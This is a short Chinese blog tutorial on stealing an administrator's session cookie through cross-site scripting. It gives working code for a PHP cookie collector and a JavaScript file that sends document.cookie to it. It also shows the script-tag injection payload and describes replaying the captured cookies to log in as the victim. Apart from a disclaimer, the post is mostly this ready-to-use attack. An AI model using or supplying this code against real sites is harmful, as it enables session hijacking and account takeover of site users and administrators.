通过XSS注入获取管理员cookie

最新推荐文章于 2024-07-10 17:05:37 发布

雪下的时候

最新推荐文章于 2024-07-10 17:05:37 发布

阅读量1.5k

点赞数 2

分类专栏：渗透测试网络安全文章标签：安全

本文链接：https://blog.csdn.net/qq_39215211/article/details/115391994

版权

1 篇文章 0 订阅

订阅专栏

1 篇文章 0 订阅

订阅专栏

注：本片文章仅供学习参考！利用本文做的所有事情与作者无关！

第一个文件名为log.php,内容如下:

<?php
$cookie=$_GET['cookie'];
$str=fopen('cookie.txt','a+');
fwrite($str,"$cookie\n");
fclose($str);
?>

代码实现通过URL传参，并把其保存到当前目录下的cookie.txt文件中，cookie.txt文件需要提前创建！
第二个文件名为1.js,内容如下：

new Image().src="http://127.0.0.1/log.php?cookie=" + encodeURI(document.cookie);

js的内容为获取当前cookie值，并把它作为参数传递到前面的URL中

访问log.php并传入参数6666666

可以发现页面并无任何显示

然后访问当前目录下的cookie.txt
在这里插入图片描述
发现cookie.txt显示我们刚才传入的参数，说明代码并无问题。

<script src=//127.0.0.1/1.js></script>

在这里插入图片描述

在这里插入图片描述
可以看到1.js已经正常相应，此时刷新cookie.txt页面

可以看到，已经获取到cookie值
然后使用插件修改cookie值进行测试

修改之后保存cookie，当捕获到多个cookie值时，每个都要有，否则可能会无法完成登录！如下：
在这里插入图片描述

在这里插入图片描述
所有cookie都编辑好之后刷新登录页面发现登录成功！

关注